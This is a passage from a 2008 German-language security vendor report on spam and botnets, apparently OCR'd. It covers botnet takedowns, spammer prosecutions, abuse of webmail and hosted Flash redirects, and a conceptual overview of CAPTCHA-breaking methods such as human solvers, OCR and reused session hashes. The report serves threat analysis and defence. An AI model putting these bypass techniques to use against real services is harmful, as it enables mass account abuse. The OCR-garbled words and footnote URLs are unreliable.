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1 Kurzfassung und Ergebnistbersicht

Herzlich willkommen zum Jahressicherheitsbericht 2008, mit dem wir die Gefahrenlandschaft
des vergangenen Jahres unter die Lupe nehmen. 2008 war ein Schltsseljahr fir die Welt der
Online-Sicherheit, da einige revolutionare Neuerungen bei den Verfahren zur Malware- und
Spam-Verbreitung erstmals auftauchten. Und wir werden erleben, wie diese Techniken auch
2009 die ,Schattenwirtschaft“ ! im Untergrund weiterhin verandern werden.

In diesem Report werfen wir einen genaueren Blick auf die wichtigsten Faktoren und
entscheidenden Veranderungen, die 2008 eine Rolle gespielt haben, sowie deren Einfluss auf
die Bedrohungssituation. Zudem blicken wir voraus auf das Jahr 2009, um lhnen ein
Verstandnis der entscheidenden Gefahren und Sorgenfelder zu vermitteln.

Die zentralen Erkenntnisse dieses Berichts umfassen unter anderem die folgenden Zahlen und
Beobachtungen:

Die allgemeine Spam-Quote erreichte ihren Hochststand im Februar 2008 mit 82,7 Prozent
und belief sich im Jahresdurchschnitt auf 81,2 Prozent. Im Jahr zuvor hatte dieser Wert noch
84,6 Prozent betragen. Rund 90 Prozent des Spam-Aufkommens wurden Uber Botnets verteilt.
Dazu zahlte auch das berichtigte Botnet Storm (bzw. Peacomm). Dieses war Anfang 2007
aufgetaucht. Bis Ende des Berichtsjahres war es jedoch beinahe komplett von der Bildflache
verschwunden und hatte rivalisierenden Botnets wie Srizbi oder Cutwail (bzw. Pandex) Platz
gemacht. Staatliches Eingreifen fihrte im September und November 2008 dazu, dass zwei
US-amerikanische Internet Service Provider (ISPs) abgeschaltet wurden, die Vorwirfen
zufolge das Hosting von Schaltzentralen einiger der grof3ten Botnets Gbernommen hatten. Zu
diesen Botnets zahlten unter anderem Mega-D (bzw. Ozdok) und Srizbi, die zusammen fr
rund 50 Prozent des gesamten Spam-Aufkommens verantwortlich waren. Mit Ausnahme von
Srizbi haben alle betroffenen Botnets mittlerweile Alternativen fur das Hosting ihrer Command-
and-Control-Server gefunden. Infolgedessen hat die Spam-Belastung wieder beinahe das
frihere Niveau vor den Aktionen gegen die beiden ISPs erreicht, wobei insbesondere Botnets
wie Cutwail und Rustock in die Bresche springen und von der Inaktivitat Srizbis profitieren.

! Detaillierte Information zur Schattenwirtschaft lamtergrund finden sich im Symantec-Bericht zur,Urgteund Economy
XII*, der unter der folgenden Adresse zum Downlbadeitsteht:
www.symantec.com/en/uk/about/news/release/argpegrid=20081124_ 11



Im Jahr 2008 haben Spammer zunehmend eine Vorliebe daftr entwickelt, ihre Kampagnen
Uber grol3e und angesehene E-Mail- und Anwendungsdienste im Internet zu verbreiten, indem
sie deren CAPTCHA-Mechanismen? aushebeln und so automatisch eine riesige Zahl von
Benutzerkonten fur diese Services anlegen kdnnen. Im Januar 2008 stammten 6,5 Prozent
des Spam-Aufkommens von solchen Accounts. Seinen Hochststand erreicht dieser Anteil im
September mit 25 Prozent. Fir das gesamte Jahr ergibt sich ein durchschnittlicher Anteil von
etwa 12 Prozent.

Weite Verbreitung haben 2008 komplexe, via Internet verteilte Schadprogramme gefunden, die
auf Social-Networking-Portale sowie auf die Sicherheitslicken vertrauenswirdiger Websites
abzielen und auf diese Weise ohne das Eingreifen der betroffenen Anwender zur Installation
von Malware auf deren Rechnern fuhren. Die Zahl der pro Tag im Durchschnitt neu entdeckten
Internetseiten, auf denen Schadprogramme hinterlegt waren, stieg von 1.068 im Januar auf
den Jahreshoéchststand von 5.424 im November. Mussten 2007 tber das Jahr hinweg taglich
noch 1.253 neue Websites gesperrt werden, so waren es 2008 bereits 2.290. Dies ist vor
allem eine Folge der vermehrten Attacken mittels SQL-Injection.

Wahrend Web-basierende Angriffe im Laufe des Jahres 2008 an Popularitat zugelegt haben,
ging die Belastung des E-Mail-Verkehrs mit Schadprogrammen gegentber 2007 um 0,15
Prozentpunkte zurtick. Im Berichtsjahr enthielt 1 von 143,8 E-Mails (0,70 Prozent) eine
Malware. Im Jahr zuvor hatte dieser Anteil noch 1 zu 117,7 (0,85 Prozent) betragen. Weiterhin
traten 2008 zwei unterschiedliche Formen gezielter Angriffe auf ausgewéhlte Opfer auf. Im
Berichtsjahr hat MessageLabs Intelligence pro Tag 53 gezielt adressierte Trojaner
abgefangen. Besonders hoch war das Aufkommen solcher Attacken im April 2008 mit 78
Fallen pro Tag. Im Jahr 2005 waren es erst ein oder zwei derartige Angriffe pro Woche
gewesen, 2006 dann ein oder zwei pro Tag und zu Beginn des Jahres 2007 zehn pro Tag.

Schliel3lich haben sich 2008 auch im Hinblick auf die Bedrohung durch Phishing-Angriffe
bemerkenswerte Veranderungen ergeben, da der Einsatz spezialisierter Botnets nun gang und
gabe geworden ist. Zudem stieg gegen Ende des Jahres die Zahl jener Angriffe, die sich der
fortschreitenden Kredit- und Finanzkrise als Aufhanger und Turoffner bedienten. Spammer und
Online-Betriiger versuchten demnach, ihren Profit aus der zunehmenden Panik und
Ungewissheit vieler Verbraucher zu ziehen, die infolge der Umwalzungen an der Wall Street
und anderen Finanzplatzen rund um den Erdball zu beobachten war.

2 CAPTCHAsteht fiir ,Completely Automated Public Turing tesfTell Computers and Humans Apart”.
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3 Spam: Die gro3ten Gefahren im Jahr 2008

3.1 Das Spam-Reslmee

Die allgemeine Spam-Entwicklung offenbarte 2008 einen markanten Riickgang der Belastung
gegen Ende des Jahres. Nach 84,6 Prozent im Jahr zuvor sank die Spam-Quote im
Jahresdurchschnitt auf nunmehr 81,2 Prozent.

2007 war, wie der letzte MessagelLabs Jahressicherheitsbericht dargelegt hat, gepragt vom
raschen Voranschreiten des Attachment-Spams in Form von PDF-Dateien, Office-
Dokumenten und sogar MP3-Audio-Files. 2008 jedoch hat sich der Ruckgriff auf verschiedene
Arten von Dateianhangen nicht im erwarteten Mal3e fortgesetzt. Stattdessen suchten und
fanden Spammer ihr Heil in geknackten CAPTCHAs.

CAPTCHA steht fur ,Completely Automated Public Turing test to Tell Computers and Humans
Apart” und bezeichnet jene Technologien, mit denen Internetdienste lber einen einfachen Test
prifen, ob es sich bei einem Anwender tatsachlich um ein realen Menschen oder um ein
automatisches Computerprogramm beispielsweise in Form eines Bots handelt.

Spammer verwenden fast ausschlief3lich Benutzerkonten bei angesehenen Anbietern von
Webmail-Services und anderen kostenlosen Anwendungsdiensten. Denn Spam von solchen
Domains erreicht mit héherer Wahrscheinlichkeit seine Adressaten und zwar insbesondere
dann, wenn es sich sowohl beim Absender als auch beim Empfanger um einen Account bei
einem solchen Provider handelt. Denn weil die Ubermittlung der Nachrichten tber die eigenen
Mail-Server der jeweiligen Anbieter erfolgt, werden die Mails vorschriftsmaRig signiert und
authentifiziert und kénnen auf die bestehenden, wechselseitigen Vertrauensbeziehungen
zwischen den unterschiedlichen Diensten bauen.
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Durchschnittlicher Anteil von Spam am weltweiten E-Mail-Verkehr.

Im Zuge der Kreditkrise, von der Unternehmen und private Verbraucher gleichermal3en
betroffen waren, versuchten Spammer und Internet-Kriminelle, ihren Nutzen aus der
einsetzenden allgemeinen Panik und Unsicherheit zu ziehen. Um aus der Situation Kapital zu
schlagen, verschickten sie vermehrt E-Mails mit Bezugnahme auf Themen der Finanzwelt.
Dazu gehdrten Phishing-Attacken gegen Banken und Kreditgenossenschaften ebenso wie
Betrugsversuche, die vermeintliche Lotteriegewinne, Kredit- und Jobangebote sowie sonstige
finanzielle Anreize versprachen.



Ende des Jahres 2008 kam es zu Spekulationen Uber die Zukunft vieler Bankinstitute in aller
Welt. Betriiger machten sich diese Unsicherheit zunutze, indem sie das Aufkommen an
Phishing-Mails erh6hten, die auf moglicherweise von Fusionen und Akquisitionen betroffene
Banken abzielten und sich auf entsprechende Nachrichten von erwarteten Ubernahmen
bezogen. Sobald Neuigkeiten von anderen etwaigen Fusionen publik wurden, aktualisierten
die Schwindler reaktionsschnell die verwendeten Vorlagen, sodass ihre Mails auf die nun
involvierten Banken verwiesen.

Beispiel eines Phishing-Angriffs, der Profit aus der sich verschéarfenden Finanzkrise gegen
Ende des Jahres 2008 schlagen wollte.

Die Justiz greift ein

In Reaktion auf die zunehmende Zahl solcher E-Mail-Betrligereien, haben die Exekutive,
Bundesbehérden und ISPs enger zusammengearbeitet, um die Aktivitaten einiger sehr
erfolgreicher Spammer zu identifizieren, einzukreisen und in einigen Fallen auch zu beenden.

Die Exekutivorgane schritten auch ein, um beriichtigte Spammer hinter Gitter zu bringen. Im
Januar erhoben US-Behdrden nach dreijahrigen bundesstaatlichen Ermittlungen eine Klage
gegen den berlchtigten Spammer Alan Ralsky und zehn andere Personen wegen ihrer
Beteiligung an ,ausgekligelten und grol3flachigen* Spam-Aktivitaten, die angeblich einen



Nettoerlds von drei Millionen US-Dollar abgeworfen haben®. Ralsky und sein Team hatten den
Vorwirfen zufolge eine Betrugsserie mit Aktien-Spam gestartet und dabei auf Botnets
zurlckgegriffen, um Uber eine Zeitspanne von 20 Monaten hinweg téaglich Millionen von Spam-
Mails zu verschicken. Der Hauptangeklagte hatte mehrfach das Spamhaus-Ranking der
Ubelsten Spammer der Welt angefuhrt. Als Urheber von Bérsen-Spam war er an einer
aggressiven ,Pump-and-Dump*“-Kampagne beteiligt, die darauf abzielte, die Kurse von
geringwertigen Aktien und Beteiligungen in die Hohe zu treiben. Darunter befanden sich auch
Wertpapiere chinesischer Firmen.

Nach der Inhaftierung von Ralsky sank die Belastung durch Spam zu Bdrsenthemen auf ihren
bis dato niedrigsten Stand und war nicht einmal mehr flr 2 Prozent des gesamten Spam-
Aufkommens verantwortlich. Jedoch war dieser Rickgang wie erwartet nur von
vorubergehender Natur, und die allgemeine Spam-Quote legte bald wieder zu.

Im Oktober wurden drei Neuseelénder festgenommen®. Vorausgegangen war eine Spam-
Untersuchung des neuseelandischen Innenministeriums, das eng mit anderen internationalen
Behdrden zusammengearbeitet hatte. Demnach hatte ein Unternehmen mit Sitz in
Christchurch, einer der gro3ten Stadte Neuseelands, offenbar weltweit Handlager
angeworben, die in seinem Auftrag unerwiinschte Werbe-Mails fur Uhren und
pharmazeutische Produkte verschickt haben. Die Ermittlungen erfolgten im Dezember 2007,
und die drei in den Fall verwickelten Manner miissen wegen Verstol3es gegen ein im
September 2007 verabschiedetes Anti-Spam-Gesetz mit méglichen Geldbuf3en in Héhe von
rund 200.000 NZ-$ rechnen.

Im selben Monat gelang der Federal Trade Commission (FTC) in den Vereinigten Staaten ein
Schlag gegen HerbalKing, ein grol3es, international agierendes Spam-Netzwerk, das den
Vorwirfen zufolge Werbekampagnen fiir verschreibungspflichtige Medikamente,
Schlankmacher, PenisvergroRerungsmittel und andere pflanzliche Arzneien abgewickelt hat.
Die Bundesbehdorde fror das Vermdgen von HerbalKing ein und unterband die weitere
Geschéftstatigkeit des Unternehmens. Nach Einschatzung der Spamgegner-Aktivisten von
Spamhaus handelte es sich um die ,,grof3te Spam-Bande der Welt®. Allein bei der FTC waren
mehr als drei Millionen Beschwerden tber Spam eingegangen, die sich auf die Online-
Aktivitaten dieser Organisation bezogen. Schatzungen zufolge war diese weltweit fir mehrere
Milliarden unerwiinschter Werbe-Mails verantwortlich.

In einem kurioseren Fall stiel3 ein deutscher Rundfunkreporter auf Akten, laut denen geheime
Ermittler des FBI die fur Kreditkartenbetrug und den Diebstahl von Authentisierungsdaten
beriichtigte Website DarkMarket® in den vergangenen beiden Jahren und bis zu deren
freiwilliger Abschaltung im Oktober 2008 auf hdchster Ebene infiltriert hatten. Viele Web-

3 Weiterfilhrende Informationen zu diesem Fall findieh unter:www.usdoj.gov/criminal/cybercrime/ralskyindict.htm

* Hintergriinde zu diesem Fall lassen sich auf folgeridternetseite nachlesen:
www.dia.govt.nz/press.nsf/d77da9b523f12931cc25@eBIMb6/fc151f432926dba2cc2574e200723e07!0penDatume
® Detaillierte Informationen zu DarkMarket und zurtisk des FBI liefert die folgende Pressemitteilung:
www.fbi.gov/pressrel/pressrel08/darkmarket101608.ht



Kriminelle haben in der Vergangenheit offenbar tber dieses Hacker-Forum den Kontakt mit
Gleichgesinnten gesucht, um vermeintlich im Verborgenen und in vertrauenswiurdiger
Atmosphare krumme Geschafte abwickeln zu kénnen: Uber die Seite konnten Betriiger mit
Login-Daten fur das Online-Banking handeln, persdnliche Verbraucherdaten austauschen, die
sich fur eine missbréauchliche Verwendung anderer Identitaten nutzen lassen, und gestohlene
Kreditkarteninformationen verkaufen. In einem vergleichbaren Einsatz hatten Mitarbeiter des
US-Geheimdienstes schon 2004 die Kontrolle tber das Hacker-Forum ShadowCrew an sich
gerissen, was damals auch in mehreren Festnahmen resultierte.

Mehrere grof3e Botnets wurden im September 2008 und erneut im November 2008 gestort, als
die beiden in Kalifornien ansassigen ISPs Intercage und McColo ein De-Peering erlebten® und
von ihren Upstream-Providern vom Internet getrennt wurden. Beide betroffenen ISPs hatten
das Hosting der C&C-Kanéle (Command and Control) fir eine Reihe von wichtigen Botnets
betrieben, sodass ihre Ausschaltung die Belastigung durch Spam flr einige Tage
abschwachte.

Angesichts der Tatsache, dass staatliche Ermittlungen in weiteren Inhaftierungen resultieren,
gehen Spammer immer vorsichtiger zu Werke, um keine Aufmerksamkeit auf ihre Aktivitaten
zu lenken. Méglicherweise werden sie es in Angriff nehmen, ihre Adressdatenbanken aktiv zu
saubern und verdachtig erscheinende, moglicherweise als Falle aufgestellte ,Honigtopf“-
Domains ebenso zu entfernen wie erloschene Adressen. Auf diese Weise kdnnten sie
effektiver darauf hin arbeiten, dass sie ihre Ressourcen tatsachlich optimal nutzen und ihre
Spam-Meldungen nur an echte und gtiltige Adressen verschickt werden.

Spam-Trends — Verfasser setzen auf kiirzere Meldunge  n und lassen sich von
Schlagzeilen inspirieren

Nachdem Image-Spam im Sommer 2007 mit 20 Prozent des gesamten Spam-Aufkommens
seine bis dato grof3te Bedeutung erlangt hatte, sank sein Anteil im Laufe des Jahres 2008 auf
unter 2 Prozent. Der Grof3teil des Spams entfallt nun auf reine Text- oder HTML-Inhalte.
Daruber hinaus fallen Spam-Meldungen mittlerweile immer kirzer und knapper aus und
enthalten nur noch ein oder zwei Satze sowie ublicherweise einen Link. Das macht es
wesentlich schwerer, die wahre Natur von Spam-Meldungen unter Einsatz von
Abwehrverfahren zu erkennen, die auf eine Kontextanalyse der in den Mail-Texten
verwendeten Worter setzen.

In der zweiten Halfte des Jahres 2008 und bis zur im November erfolgten Stérung der fur
einen erheblichen Teil des im Umlauf befindlichen Spams verantwortlichen Botnets haben
Spam-Nachrichten an Lange eingebf3t und vornehmlich reine Text- und HTML-Inhalte
verwendet. Dank der grol3eren Kapazitat der Botnets haben viele einzelne Spam-Laufe indes
hinsichtlich der Menge der verschickten Mails an Umfang zugelegt.

® Der originale Artikel der Washington Post |asstsim Internet nachlesen: http://www.washingtonpmst/wp-
dyn/content/article/2008/11/12/AR2008111202662 tipil.h



Dieses Kurvendiagramm veranschaulicht, welchen Wandel die verwendeten Spam-Techniken
2008 erlebt haben.

Beginnend mit den Prasidentschaftsvorwahlen in den Vereinigten Staaten (Januar) boten die
Schlagzeilen der Weltnachrichten der Spammer-Szene immer wieder Futter. Das Jahr war
voller Ereignisse, die weltweit Aufmerksamkeit fanden. Dazu gehorten die Demonstrationen
tibetischer Mdnche (Marz), die tragischen Erdbeben in China (Mai), die Auseinandersetzungen
zwischen Russland und Georgien sowie die Olympischen Spiele 2008 in Peking (August), die
Kreditkrise (September und Oktober) und die heif3e Phase in der Entscheidung um den neuen
US-Prasidenten (November). Jeder dieser Vorgange und Zwischenfélle bot Spammern und
Kriminellen die Mdglichkeit, ihre Nachrichten unters Volk zu bringen. Schon allein anhand der
verwendeten Betreffzeilen lieRen Spammer den Ausgang der US-Prasidentschaftswahl
frihzeitig erahnen. 85 Prozent aller Spam-Mails, die sich auf die Wahl bezogen, erwahnten
Barack Obama in den Betreffzeilen, nur 15 Prozent verwiesen auf John McCain.

Auch Feiertage wie der Valentinstag im Februar, Halloween im Oktober und Thanksgiving im
November gehoren zu den Lieblingen der Spam-Szene. Wurde an Halloween urspringlich das
Ende der Ernte gefeiert, so hat dieser Tag langst in aller Welt zahllose Anh&nger als ein Fest,
an dem sich alles um ausgefallene Kostiime, sii3e Leckereien und allerlei Geistertreiben
dreht. Vor diesem Hintergrund verwunderte es kaum, dass sich Spammer die Chance nicht

-12 -



entgehen lielRen und massenweise Spam-Mails zum Thema Halloween verschickten, deren
Betreffzeilen mit vermeintlichen ,Halloween-Sonderangeboten” lockten. Ein Blick in die
folgenden Mail-Inhalte offenbarte dann jedoch nur die 6den, zur Genlige bekannten
Werbebotschaften fur Pflanzenextrakte und Potenzmittel.



3.2 Neue Techniken, Veranderungen etc.

Im Jahr 2008 haben wir erlebt, dass Cyber-Kriminelle ihre Aktivitdten offensiv auf den
Missbrauch kostenloser Webmail-Dienste und Online-Anwendungen von renommierten
Anbietern verlagert haben. In den vergangenen Jahren arbeitete der Grof3teil des Spams, der
angeblich tber solche Services verschickt wurde, noch mit geféalschten Absenderadressen.
Das hat sich 2008 nun grundlegend geandert. Denn den Spammern ist bewusst geworden,
welch raffinierte Moglichkeiten sich ihnen er6ffnen, wenn sie bei diesen grof3en Providern
massenweise giltige Benutzerkonten anlegen kénnen.

Der Schlissel zum Schlaraffenland fir Spammer: Anbi  eter Web-basierender E-Mail- und
Anwendungsdienste im Visier

Der Schlussel zu diesen Verheil3ungen des Webs verbirgt sich in der Ausheblung von
CAPTCHAs. Denn wer diese Prifungen knackt, 6ffnet sich die Tur zur Erstellung kostenloser
E-Mail-Accounts, die sich im groRen Mafl3stab fir die Verbreitung von Spam-Nachrichten und
das Hinterlegen von Spam-Inhalten verwenden lassen.

&

Uberblick tiber die vielfaltigen Funktionen, die sich mit einem Account bei einem groRen
Anbieter von Online-Diensten nutzen lassen.

Im Januar entfielen 6,5 Prozent des gesamten Spam-Aufkommens auf den Missbrauch von

Web-basierenden E-Mail- und Software-Diensten. Seinen bis dato hochsten Wert erreichte
dieser Anteil mit 25 Prozent im September:

-14 -
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Dieses Balkendiagramm zeigt, welche Anteile am Spam uber 6ffentliche Webmail-Accounts
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Der Wert eines Tools zur Ausheblung von CAPTCHA-Prifungen hangt davon ab, auf welchen
Seiten jemand ein eigenes Benutzerkonto anlegen méchte. Die am haufigsten in Spam-
Nachrichten zu findenden URLs oder Links verweisen auf die grol3en, besonders populéren
Anbieter von Webmail-Diensten und Online-Anwendungen. Diese Accounts wurden jeweils
unter Einsatz von Software zum Knacken von CAPTCHAS nur zu dem Zweck angelegt, Spam-
Inhalte zu verbreiten.

Spam Uber Suchmaschinen-Weiterleitungen

Anfang 2008 stellte Messagelabs Intelligence einen bemerkenswerten und sprunghaften
Anstieg des Spam-Anteils fest, der auf dem Missbrauch von Suchmaschinen-Weiterleitungen
beruhte. Mit dieser Spamming-Technik kbnnen Betrliger eine E-Mail-Nachricht in einen Link
einbetten, den sie Uber eine Suchmaschinenanfrage erzeugt haben. Folgt ein Browser einem
solchen Link, landet er dann auf einer Spam-Seite. Das bedeutet also, dass Spammer ihre
Botschaften verbreiten kdnnen, ohne im Textteil der E-Mail die eigentlich URL ihrer Spam-
Seite verwenden zu missen. Das macht es herkdbmmlichen Spam-Filtern schwerer, eine
solche Nachricht als Spam einzuordnen. Denn diese Abwehr-Tools erkennen zwar die
bekannten Spam-Domains, sind aber nicht in der Lage, Links zu Seiten angesehener
Suchmaschinen in angemessener Weise zu blockieren, ohne damit berechtigten Anwendern
erhebliche Beeintrachtigungen aufzuzwingen.

Viele der grof3en Suchmaschinen im Internet wurden fiir die Verbreitung derartiger Spam-
Nachrichten missbraucht, auf die im Januar immerhin 17 Prozent des gesamten Spam-
Aufkommens entfielen. Jedoch biuf3te Suchmaschinen-Spam rasch wieder an Bedeutung ein,
weil die Technologie der Abwehr-Tools aufgeholt hat und die Suchmaschinen-Anbieter es den
Spammern mittlerweile weitaus schwerer machen, Weiterleitungsfunktionen zu ihrem Vorteil
zu nutzen.

- 15 -



Spam Uber kostenlose Hosting-Anwendungen

Im Mai 2008 hat MessageLabs Intelligence diverse E-Mails entdeckt, die per Link auf
Dokumente verwiesen, die Spammer zuvor Uber Accounts bei einem grol3en Anbieter einer
entsprechenden Online-Anwendung hinterlegt hatten. Dabei verbargen sich die eigentlichen
Spam-Inhalte eher in den hochgeladenen Dokumenten als in den verschickten E-Mails.
Entsprechend schwer fiel es Systemen zur Spam-Abwehr, verdéachtige Meldungen aufgrund
dieser Domains abzufangen, ohne damit auch andere berechtigte User erheblich
einzuschréanken. AuRerdem war zu beobachten, dass Spammer im weiteren Verlaufe des
Jahres auch andere vergleichbare Dienste zur 6ffentlichen Ablage von Inhalten im Internet far
ihre Zwecke missbraucht haben.

Der animierte Spam

Eine weitere neue Technik zur Verbreitung von Spam ist MessagelLabs Intelligence im Juli
2008 aufgefallen. Diesmal wurden seriose, kostenlose Fotoalbum-Dienste im Internet genutzt,
um kleine, aber schadliche Shockwave-Flash-Dateien im SWF-Format hochzuladen, die bei
ihrem Aufruf die Browser jeweils zu einer anderen Internetseite umleiteten. Mit dieser Technik
gelang es Spammern, viele der altbekannten Spam-Filter zu umgehen. Denn der Link in der
verschickten E-Mail verwies jeweils auf eine eigentlich seriose Website, auf der die SWF-Datei
abgelegt worden war.



Beispiel fur eine Spam-Mail, die mit einem Link auf eine SWF-Datei verwies, hinter der sich
eine Weiterleitung auf eine Spam-Seite im Internet verbarg.

Offnete ein Anwender das verlinkte Flash-Programm, leitete dieses seinen Browser tiber einen
Befehl wie getURL(“http://[spam Web site removed]/”) dann an die eigentliche Spam-Seite
weiter.

In den meisten Fallen wurde mit dieser Technik Spam fur pharmazeutische Produkte
verbreitet. MessagelLabs Intelligence konnte jedoch auch einige Spam-Nachrichten abfangen,
Uber die Betriiger mit Inseraten fir angebliche Heimarbeitsjobs neue Helfershelfer fur
Geldwascheaktivitaten anwerben wollten. Zudem fand das Verfahren im Jahr 2008 auch
Anwendung, um Malware zu verteilen. In diesen Fallen sorgten die Weiterleitungsbefehle
dafir, dass ahnungslose Anwender auf Websites landeten, von denen dann der Download
eines Schadprogramms erfolgte.



Beispiel fur den Quellcode eines Angriffs, der mit SWF-Dateien und Flash-Weiterleitung
arbeitete.

Besonders attraktiv scheint der Rickgriff auf im Internet abgelegte Flash-Dateien dahingehend
zu sein, dass diese Inhalte auch nach einigen Wochen noch online verfugbar waren. Denn die
Hosting-Anbieter waren sich offenbar nicht bewusst, welchen Zweck diese Dateien verfolgten,
und sahen folglich keinen Anlass, diese schnell vom Netz zu nehmen.

Vor diesem Hintergrund ist davon auszugehen, dass Anbieter von kostenlosen E-Mail- und
Anwendungsdiensten im Internet sowie anderen Web-basierenden Services fur private
Verbraucher sich mit grof3ter Wahrscheinlichkeit auch 2009 vielféaltigen Angriffen ausgesetzt
sehen werden. Dies wird sich so lange fortsetzen, bis es CAPTCHA-Mechanismen gibt, die
sich nicht mehr automatisch tberwinden lassen.

3.2.1 Ausheblung von CAPTCHA-Prifungen

Es gibt eine zentrale Herausforderung bei der Entwicklung eines guten CAPTCHA-Tests: Er
muss einfach genug sein, damit die meisten Menschen ihn bestehen, aber er muss so schwer
ausfallen, dass automatische Computer-Programme scheitern.

Typische Beispiele fiur CAPTCHAS, die im Jahr 2008 zum Einsatz kamen.

Uber viele Jahre hinweg haben sich CAPTCHASs fiir zahlreiche seriése Anbieter von Web-
basierenden E-Mail- und Anwendungsdiensten als sehr hilfreich erwiesen, um einer
automatischen Nutzerregistrierung durch Software-Roboter einen Riegel vorzuschieben. Dazu
gehdrten unter anderem auch viele Social-Networking-Portale und Internet-Auktionshauser.



Dennoch haben Cyber-Kriminelle nie nachgelassen zu versuchen, die auf CAPTCHAS
beruhenden Sicherheitssysteme zu tiberwinden. Es ist keine Uberraschung, dass sie das
CAPTCHA-Verfahren im Jahr 2008 beinahe vollstandig besiegt haben — und zwar mittels
,Bots", die das Anlegen von E-Mail-Accounts und Online-Nutzerprofilen automatisieren und zu
einer Sache von Minuten machen.

Wie lauft die Ausheblung von CAPTCHASs ab?

Es gibt mehrere Anséatze, um die CAPTCHASs zu knacken, mit denen viele Online-Anbieter ihre
Services und in erster Linie die Nutzeranmeldung schitzen. Zunéchst einmal kénnen
Spammer sich die Dienste eines so genannten ,mechanischen Tiirken*’ sichern oder
Personen anheuern, die selbst oder mittelbar Benutzerkonten anlegen und im Internet
verkaufen. Andere Betriiger hingegen legen es darauf an, CAPTCHAs unter Einsatz von
Software zu l6sen.

Es ist mdglich, eine Software speziell fir bestimmte Ziel-Websites zu entwerfen, und
Entwickler konnten auch ein Tool realisieren, das in der Lage ist, CAPTCHASs
programmgesteuert zu tberwaltigen. Auf Algorithmen beruhende Angriffe sind in hohem Mal3e
skalierbar, sobald erst einmal eine angemessene Genauigkeit erreicht ist und das Tool so weit
ausgereift ist, dass es sich verkaufen lasst. Denkbar ist ebenfalls, dass Benutzerkonten mit
einem solchen Software-Programm erstellt und dann ihrerseits zu Geld gemacht werden.

" Der Begriff ,mechanischer Tiirke” bezog sich ursmiich auf einen im 18. Jahrhundert vorgestellteha8hautomaten,
der sich jedoch als Schwindel erwies und eigenttmih einem in dem Geréat versteckten Menschen bedigrde.
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Dieses Diagramm veranschaulicht die automatischen Verfahren, die zur Uberwindung von
CAPTCHAS verwendet werden.

.,Mechanische Turken* treten haufig in Form spezieller Websites oder Trojaner-Programme
auf (erstmals tauchten diese bereits 2007 auf), die sich als Online-Spiel tarnen. Als solche
fordern sie Besucher auf, als Teilnahmeberechtigung einen korrekten Code einzugeben, bei
dem es sich seinerseits um ein CAPTCHA einer anderen Website handelt. Einige dieser
Seiten bezahlen Computerbesitzern auch ein kleines Honorar fur jedes geloste CAPTCHA,
und in einem Beispiel bot ein derartiger Trojaner den Adressaten an, durch die Losung eines
CAPTCHASs eine attraktive Frau am Bildschirm Stick fur Stiick zu entkleiden.
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Beispiel fur eine Website, die als ,mechanischer Turke” dem Losen von CAPTCHASs diente.

Manche Tools zur Uberwindung von CAPTCHAs zielen auf Priifungen mit Hilfe von Audio-
Inhalten ab, die einige Websites als Alternative fir sehbehinderte Besucher anbieten. Haufig
besteht die Losung solcher ,Hortests” aus einer Folge von Nummern zwischen 0 und 9, und so
erweist sich eine Analyse der Tonsignale manchmal als relativ einfach im Vergleich zur
Losung von CAPTCHASs, die auf Grafiken beruhen. Und die Zahlen lassen sich auch eindeutig
von zufélligen Hintergrundgerauschen unterscheiden.

Beispiel eines Audio-CAPTCHAs fur sehbehinderte Computerbesitzer.

Die Analysen von MessageLabs Intelligence deuten darauf hin, dass Anfang 2008 die gegen
CAPTCHASs eingesetzten Algorithmen in rund 20 bis 30 Prozent der Falle erfolgreich waren
und dass dieser Anteil im Laufe des Jahres erheblich gestiegen ist. Irgendwann lie3en sich
CAPTCHAs innerhalb von Sekunden knacken. Zusammen mit der unglaublichen
Rechenleistung, auf die Hacker Uber ihre Botnets zurtickgreifen kénnen, und der unbegrenzten
Zahl mdglicher Fehleingaben bedeutet diese Erfolgsquote, dass Angreifer auf diesem Wege
mittlerweile so viele E-Mail-Accounts anlegen kénnen, wie sie fur erforderlich halten.

Zur Ausheblung von CAPTCHAs lassen sich auch beide Anséatze kombinieren. Demnach
kommt fur die urspriingliche Losung der Prifungen zunachst ein ,mechanischer Turke" zum
Einsatz. Gleichzeitig wird eine Datenbank mit allen erfolgreichen und fehlgeschlagenen
Versuchen gefuttert, um mit Hilfe dieser Informationsgrundlage den zu entwickelnden



Algorithmus zu schulen, zu testen und zu optimieren. Mit steigender Erfolgsquote kdnnen die
Hacker dann den kostspieligen Ruckgriff auf mechanische Turken verringern oder einstellen
und den Angriff auf ihr Botnet verlagern.

Automatisierungs- und Analyse-Tools

Oft geht es bei der Ausheblung eines CAPTCHASs in der ersten Phase auch darum, Storeffekte
im Hintergrund der verwendeten Grafiken zu entfernen, bevor diese tber eine Isolierung der
einzelnen eingeblendeten Schriftzeichen in mehrere Teile zerlegt werden. Diese Bildsegmente
lassen sich dann mittels OCR-Verfahren (Optical Character Recognition) analysieren, um die
einzelnen Buchstaben und Ziffern zu ermitteln, bevor schlie3lich eine Antwort generiert wird.

Nichtsdestotrotz wurden einige CAPTCHA-Systeme auch ohne OCR-Technik geknackt.
Beispielsweise macht es die unprofessionelle Implementierung mancher Seiten maglich, die
Session-IDs von bereits bekannten Tests wiederzuverwenden. Einige Prifsysteme nutzen
computergestutzt berechnete Hashwerte (wie beispielsweise MD5), die auch an den jeweiligen
Browser Ubergeben werden, um die eingegebene Antwort zu validieren. In anderen Fallen ist
es jedoch relativ einfach gelungen, diese Hash-Verschlisselung zu knacken und dann zur
Optimierung der OCR-Verfahren zu nutzen.



Die Uberwindung eines CAPTCHAs uiber Hash-Schliissel.

Die Anbieter von Web-basierenden E-Mail- und Anwendungsdiensten aktualisieren und
modifizieren kontinuierlich die zur CAPTCHA-Erzeugung genutzten Methoden, um bekannten
Ldsungsalgorithmen einen Strich durch die Rechnung zu machen. So entsteht ein
permanentes Wettriisten zwischen CAPTCHA-Programmierern und -Hackern. In letzter
Konsequenz ist ein CAPTCHA-Entwickler in seinen Mdglichkeiten aber auf das beschrankt,
was ein Mensch I6sen kann. Berichte von den zunehmenden Schwierigkeiten, die
Computerbesitzer schon heute bei der Eingabe richtiger CAPTCHA-Antworten haben, werfen
Zweifel auf, ob solche Prufverfahren als Sicherheitsmechanismen fiir den Schutz von
Webmail-Diensten auf Dauer von Nutzen sind.

Warum sind geknackte CAPTCHAs so wertvoll?

Sobald Betrtiger erst einmal in der Lage sind, CAPTCHASs zu tiberwinden, kdnnen sie diese
Fahigkeit fur fast alle Online-Dienste nutzen, die eine automatische Anmeldung tber solche
Techniken verhindern wollen. Es folgt (ohne Anspruch auf Vollstandigkeit) eine Aufstellung
